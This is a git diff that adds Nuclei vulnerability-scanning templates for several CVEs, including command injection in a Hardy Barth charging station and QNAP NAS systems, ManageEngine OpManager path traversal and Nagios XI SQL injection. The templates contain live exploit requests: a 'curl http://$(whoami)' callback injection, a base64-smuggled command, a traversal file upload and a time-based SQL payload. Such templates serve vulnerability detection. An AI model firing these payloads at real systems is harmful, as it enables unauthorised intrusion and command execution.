+ An OS command injection vulnerability in Hardy Barth cPH2 Ladestation v1.87.0 and earlier, may allow an unauthenticated remote attacker to execute arbitrary commands on the system via a specifically crafted arguments passed to the connectivity check feature.
+ remediation: Fixed in version 2.0.0
+ reference:
+ - https://www.offensity.com/en/blog/os-command-injection-in-cph2-charging-station-200-cve-2023-46359-and-cve-2023-46360/
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-46359
+ classification:
+ cvss-metrics: CVSS:3.1/AV:A/AC:N/PR:N/UI:N/S:C/C:H/I:H/A:H
+ cvss-score: 9.6
+ cve-id: CVE-2023-46359
+ metadata:
+ verified: true
+ max-request: 1
+ shodan-query: html:"Salia PLCC"
+ tags: cve2023,cve,salia-plcc,cph2,rce
+
+http:
+ - method: GET
+ path:
+ - "{{BaseURL}}/connectioncheck.php?ip={{url_encode('127.0.0.1 && curl http://$(whoami).{{interactsh-url}}')}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "SUCCESS"
+ - "127.0.0.1 && curl http://$(whoami).{{interactsh-url}}"
+ condition: and
+
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
+# digest: 4a0a0047304502203fa3579cee7f457c57f4c570aec49072afb073eb3669f6d1ce3fae59bda5bca8022100c56de69f4564bd736a8ec6c9c10256a835946eea129a254373943592eee6e773:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2023-47211.yaml b/poc/cve/CVE-2023-47211.yaml
new file mode 100644
index 0000000000..deccc8b7f6
--- /dev/null
+++ b/poc/cve/CVE-2023-47211.yaml
@@ -0,0 +1,117 @@
+id: CVE-2023-47211
+
+info:
+ name: ManageEngine OpManager - Directory Traversal
+ author: gy741
+ severity: high
+ description: |
+ A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.
+ reference:
+ - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1851
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-47211
+ - https://github.com/fkie-cad/nvd-json-data-feeds
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
+ cvss-score: 8.6
+ cve-id: CVE-2023-47211
+ cwe-id: CWE-22
+ epss-score: 0.00164
+ epss-percentile: 0.52059
+ cpe: cpe:2.3:a:zohocorp:manageengine_firewall_analyzer:*:*:*:*:*:*:*:*
+ metadata:
+ max-request: 3
+ vendor: zohocorp
+ product: manageengine_firewall_analyzer
+ shodan-query: "http.title:\"OpManager Plus\""
+ tags: cve,cve2023,zoho,manageengine,authenticated,traversal,lfi,intrusive
+
+http:
+ - raw:
+ - |
+ POST /two_factor_auth HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ j_username={{username}}&j_password={{password}}
+
+ - |
+ POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
+ Host: {{Hostname}}
+ X-ZCSRF-TOKEN: opmcsrftoken={{x_zcsrf_token}}
+ Content-Type: multipart/form-data; boundary=---------------------------372334936941313273904263503262
+
+ -----------------------------372334936941313273904263503262
+ Content-Disposition: form-data; name="mibFile"; filename="karas.txt"
+ Content-Type: text/plain
+
+ ../images/karas DEFINITIONS ::= BEGIN
+
+
+ IMPORTS
+ enterprises
+ FROM RFC1155-SMI;
+
+ microsoft OBJECT IDENTIFIER ::= { enterprises 311 }
+ software OBJECT IDENTIFIER ::= { microsoft 1 }
+ systems OBJECT IDENTIFIER ::= { software 1 }
+ os OBJECT IDENTIFIER ::= { systems 3 }
+ windowsNT OBJECT IDENTIFIER ::= { os 1 }
+ windows OBJECT IDENTIFIER ::= { os 2 }
+ workstation OBJECT IDENTIFIER ::= { windowsNT 1 }
+ server OBJECT IDENTIFIER ::= { windowsNT 2 }
+ dc OBJECT IDENTIFIER ::= { windowsNT 3 }
+
+ END
+
+ -----------------------------372334936941313273904263503262--
+
+ - |
+ POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
+ Host: {{Hostname}}
+ X-ZCSRF-TOKEN: opmcsrftoken={{x_zcsrf_token}}
+ Content-Type: multipart/form-data; boundary=---------------------------372334936941313273904263503262
+
+ -----------------------------372334936941313273904263503262
+ Content-Disposition: form-data; name="mibFile"; filename="karas.txt"
+ Content-Type: text/plain
+
+ ../images/karas DEFINITIONS ::= BEGIN
+
+
+ IMPORTS
+ enterprises
+ FROM RFC1155-SMI;
+
+ microsoft OBJECT IDENTIFIER ::= { enterprises 311 }
+ software OBJECT IDENTIFIER ::= { microsoft 1 }
+ systems OBJECT IDENTIFIER ::= { software 1 }
+ os OBJECT IDENTIFIER ::= { systems 3 }
+ windowsNT OBJECT IDENTIFIER ::= { os 1 }
+ windows OBJECT IDENTIFIER ::= { os 2 }
+ workstation OBJECT IDENTIFIER ::= { windowsNT 1 }
+ server OBJECT IDENTIFIER ::= { windowsNT 2 }
+ dc OBJECT IDENTIFIER ::= { windowsNT 3 }
+
+ END
+
+ -----------------------------372334936941313273904263503262--
+
+ host-redirects: true
+ max-redirects: 3
+ matchers:
+ - type: dsl
+ dsl:
+ - 'status_code == 200'
+ - 'contains(content_type, "application/json")'
+ - 'contains(body, "MIBFile with same name already exists")'
+ condition: and
+
+ extractors:
+ - type: regex
+ name: x_zcsrf_token
+ group: 1
+ part: header
+ regex:
+ - 'Set-Cookie: opmcsrfcookie=([^;]{50,})'
+ internal: true
+# digest: 490a00463044022065e6f603f0e38ded5d6d7d64b26a3c4f033fe991d1b0bd52647d1f06a8b848de02204921a44eff428087946e64109d72ce0cb050c7167e6d3b2fa2eded319790416b:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2023-47218.yaml b/poc/cve/CVE-2023-47218.yaml
new file mode 100644
index 0000000000..ca420a4377
--- /dev/null
+++ b/poc/cve/CVE-2023-47218.yaml
@@ -0,0 +1,54 @@
+id: CVE-2023-47218
+
+info:
+ name: QNAP QTS and QuTS Hero - OS Command Injection
+ author: ritikchaddha
+ severity: high
+ description: |
+ An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later.
+ reference:
+ - https://github.com/passwa11/CVE-2023-47218
+ - https://twitter.com/win3zz/status/1760224052289888668/photo/3
+ - https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-47218
+ classification:
+ cvss-metrics: CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
+ cvss-score: 8.3
+ cwe-id: CWE-78
+ cve-id: CVE-2023-47218
+ metadata:
+ verified: true
+ max-request: 2
+ shodan-query: ssl.cert.issuer.cn:"QNAP NAS",title:"QNAP Turbo NAS"
+ tags: cve,cve2023,qnap,qts,quts,rce,intrusive
+
+variables:
+ file: '{{rand_base(6)}}'
+ cmd: '%22$($(echo -n aWQ=|base64 -d)>{{file}})%22'
+
+http:
+ - raw:
+ - |
+ POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: multipart/form-data;boundary="avssqwfz"
+
+ --avssqwfz
+ Content-Disposition: form-data; xxpcscma="field2"; zczqildp="{{cmd}}"
+ Content-Type: text/plain
+
+ skfqduny
+ --avssqwfz–
+
+ - |
+ POST /cgi-bin/quick/{{file}} HTTP/1.1
+ Host: {{Hostname}}
+
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains_all(body_1, "code\": 200", "full_path_filename success")'
+ - 'contains_all(body_2, "uid=", "gid=")'
+ - 'status_code == 200'
+ condition: and
+# digest: 490a0046304402207c91f6f27dabb2e8ec3158c1c5677a2697bf0aac61c9f7fc4f5809796f63aa65022019831152413abfd5beccfb0ff90a9c194a5ac90dec6f7b4f781be1a395042786:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2023-47245-7478f6f1d45da42d803ec327ba5b27e1.yaml b/poc/cve/CVE-2023-47245-7478f6f1d45da42d803ec327ba5b27e1.yaml
new file mode 100644
index 0000000000..e6ecd6a5c8
--- /dev/null
+++ b/poc/cve/CVE-2023-47245-7478f6f1d45da42d803ec327ba5b27e1.yaml
@@ -0,0 +1,59 @@
+id: CVE-2023-47245-7478f6f1d45da42d803ec327ba5b27e1
+
+info:
+ name: >
+ ANAC XML Viewer <= 1.7 - Authenticated (Administrator+) Stored Cross-Site Scripting
+ author: topscoder
+ severity: low
+ description: >
+ The ANAC XML Viewer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
+ reference:
+ - https://github.com/topscoder/nuclei-wordfence-cve
+ - https://www.wordfence.com/threat-intel/vulnerabilities/id/9af963ed-8bc5-4b5e-bacd-30a2ef429ce8?source=api-prod
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
+ cvss-score: 4.4
+ cve-id: CVE-2023-47245
+ metadata:
+ fofa-query: "wp-content/plugins/anac-xml-viewer/"
+ google-query: inurl:"/wp-content/plugins/anac-xml-viewer/"
+ shodan-query: 'vuln:CVE-2023-47245'
+ tags: cve,wordpress,wp-plugin,anac-xml-viewer,low
+
+http:
+ - method: GET
+ redirects: true
+ max-redirects: 3
+ path:
+ - "{{BaseURL}}/wp-content/plugins/anac-xml-viewer/readme.txt"
+
+ extractors:
+ - type: regex
+ name: version
+ part: body
+ group: 1
+ internal: true
+ regex:
+ - "(?mi)Stable tag: ([0-9.]+)"
+
+ - type: regex
+ name: version
+ part: body
+ group: 1
+ regex:
+ - "(?mi)Stable tag: ([0-9.]+)"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "anac-xml-viewer"
+ part: body
+
+ - type: dsl
+ dsl:
+ - compare_versions(version, '<= 1.7')
\ No newline at end of file
diff --git a/poc/cve/CVE-2023-48084.yaml b/poc/cve/CVE-2023-48084.yaml
new file mode 100644
index 0000000000..67ded92e4f
--- /dev/null
+++ b/poc/cve/CVE-2023-48084.yaml
@@ -0,0 +1,71 @@
+id: CVE-2023-48084
+
+info:
+ name: Nagios XI < 5.11.3 - SQL Injection
+ author: ritikchaddha
+ severity: critical
+ description: |
+ SQL injection vulnerability in Nagios XI before version 5.11.3 via the bulk modification tool.
+ impact: |
+ Successful exploitation could lead to unauthorized access to sensitive information.
+ remediation: |
+ Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
+ reference:
+ - https://github.com/bucketcat/CVE-2023-48084
+ - https://github.com/Hamibubu/CVE-2023-48084
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-48084
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2023-48084
+ cwe-id: CWE-89
+ epss-score: 0.00114
+ epss-percentile: 0.44333
+ cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
+ metadata:
+ max-request: 3
+ verified: true
+ vendor: nagios
+ product: nagios_xi
+ fofa-query: title="Nagios XI"
+ tags: cve,cve2023,nagiosxi,sqli,authenticated
+
+http:
+ - raw:
+ - |
+ GET /nagiosxi/login.php HTTP/1.1
+ Host: {{Hostname}}
+
+ - |
+ POST /nagiosxi/login.php HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
+
+ - |
+ @timeout: 15s
+ GET /nagiosxi/index.php/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SELECT+CASE+WHEN+1=1+THEN+sleep(5)+ELSE+sleep(0)+END+) HTTP/1.1
+ Host: {{Hostname}}
+
+ host-redirects: true
+ max-redirects: 2
+
+ skip-variables-check: true
+ matchers-condition: and
+ matchers:
+ - type: dsl
+ dsl:
+ - 'duration_3>=5'
+ - 'contains(body_3, "Home Dashboard")'
+ condition: and
+
+ extractors:
+ - type: regex
+ name: nsp
+ part: body
+ group: 1
+ regex:
+ - 'name="nsp" value="(.*)">'
+ internal: true
+# digest: 4a0a0047304502204fbd6201bf925ccc24095849207a7b720d4bc11d315f598c77f8d89bf49bf70b022100dd8640ebaef3939c2317cc833a62e524308e3f0b1037da30858e14db33d28577:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2023-49070.yaml b/poc/cve/CVE-2023-49070.yaml
deleted file mode 100644
index 3373c5ff27..0000000000
--- a/poc/cve/CVE-2023-49070.yaml
+++ /dev/null
@@ -1,69 +0,0 @@
-id: CVE-2023-49070
-
-info:
- name: Apache OFBiz < 18.12.10 - Arbitrary Code Execution
- author: your3cho
- severity: critical
- description: |
- Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.
- remediation: Users are recommended to upgrade to version 18.12.10.
- reference:
- - https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3
- - https://seclists.org/oss-sec/2023/q4/257
- - https://twitter.com/Siebene7/status/1731870759130427726
- - https://nvd.nist.gov/vuln/detail/CVE-2023-49070
- - https://issues.apache.org/jira/browse/OFBIZ-12812
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2023-49070
- cwe-id: CWE-94
- epss-score: 0.59066
- epss-percentile: 0.97445
- cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
- metadata:
- max-request: 1
- vendor: apache
- product: ofbiz
- shodan-query: html:"OFBiz"
- fofa-query: app="Apache_OFBiz"
- tags: cve,cve2023,seclists,apache,ofbiz,deserialization,rce
-
-http:
- - raw:
- - |
- POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/xml
-
-
-